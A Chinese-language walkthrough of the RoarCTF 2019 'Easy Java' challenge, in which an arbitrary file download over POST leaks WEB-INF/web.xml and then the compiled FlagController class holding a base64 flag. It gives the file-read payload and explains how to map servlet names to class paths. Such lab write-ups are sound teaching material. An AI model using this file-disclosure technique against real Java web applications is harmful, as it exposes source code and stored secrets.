RoarCTF 2019 Easy Java
# RoarCTF 2019 Easy Java
# 题目分析
首先看一下题目:
尝试SQL注入许多次结果都如下:
点击主页help如下:
改为POST方式发现可以下载文件,并且参数可控,可能存在文件下载漏洞
尝试利用WEB-INF/web.xml
泄露
# WEB-INF/web.xml泄露
# 背景
WEB-INF/web.xml泄露是JAVA的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问
WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml
: Web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则/WEB-INF/classes/
: 换了站点所有的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中WEB-INF/lib/
:存放了Web应用需要的各种JAR文件,防止仅在这个应用中要求使用的jar文件,如数据库驱动jar文件WEB-INF/src/
:源码目录,按照包名结构防止各个java文件WEB-INF/database.properties
:数据库配置文件
# JavaWeb工程目录结构
WebContent (站点根目录)
|---META-INF (META-INF文件夹)
| |---MANIFEST.MF (MANIFEST.MF配置清单文件)
|---WEB-INF (WEB-INF文件夹)
| |---web.xml (站点配置web.xml)
| |---lib (第三方库文件夹)
| | |---*.jar (程序需要的jar包)
| |---classes (class文件目录)
| |---...*.class (class文件)
|---<userdir> (自定义的目录)
| |---*.jsp,*js,*.css (自定义的资源文件)
|---<userfiles> (自定义的资源文件)
2
3
4
5
6
7
8
9
10
11
12
# 漏洞成因
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的有点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,肯恩恶搞会引发一些安全问题,导致web.xml等文件能够被读取
# 漏洞检测以及利用方法
通过找到web.xml文件,推断class文件的路径,最后直接访问class文件,再通过反编译class文件,得到网站源码
# Servlet访问URL映射配置
由于客户端是通过URL地址访问Web服务器中的自愿,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作再web.xml文件中使用
</servlet>
<servlet-name>ServletDemo</servlet-name>
<servlet-class>cn.ServletDemo</servlet-class>
</servlet>
</servlet-mapping>
</servlet-name>/ServletDemo</servlet-name>
</url-pattern>/ServletDemo</url-pattern>
</servlet-mapping>
2
3
4
5
6
7
8
# 思路整理
- 可能存在任意文件下载
尝试POST方式下载/WEB-INF/web.xml,下载成功,内容如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
发现了flag的文件路径,并且由前置知识可知,通过url访问Servlet的方式是: 找到对应文件名,然后通过这个文件名找到对应的servlet,再通过这个servlet的文件名,获取到其具体的servlet文件。因为这个是类中的文件,所以后缀要加.class
# Payload
所以最终的payload为
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
tips:要把com到FlagController前面的.
改成/
原本的.
是类似java里面的文件路径
POST方式发送即可以下载该文件
文件内容为
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3syZDUyZDkyNC00MmZiLTQ2MTAtYWNiZS04ZjVlNDk1OTA4Y2N9Cg==";
protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
base64解密flag即可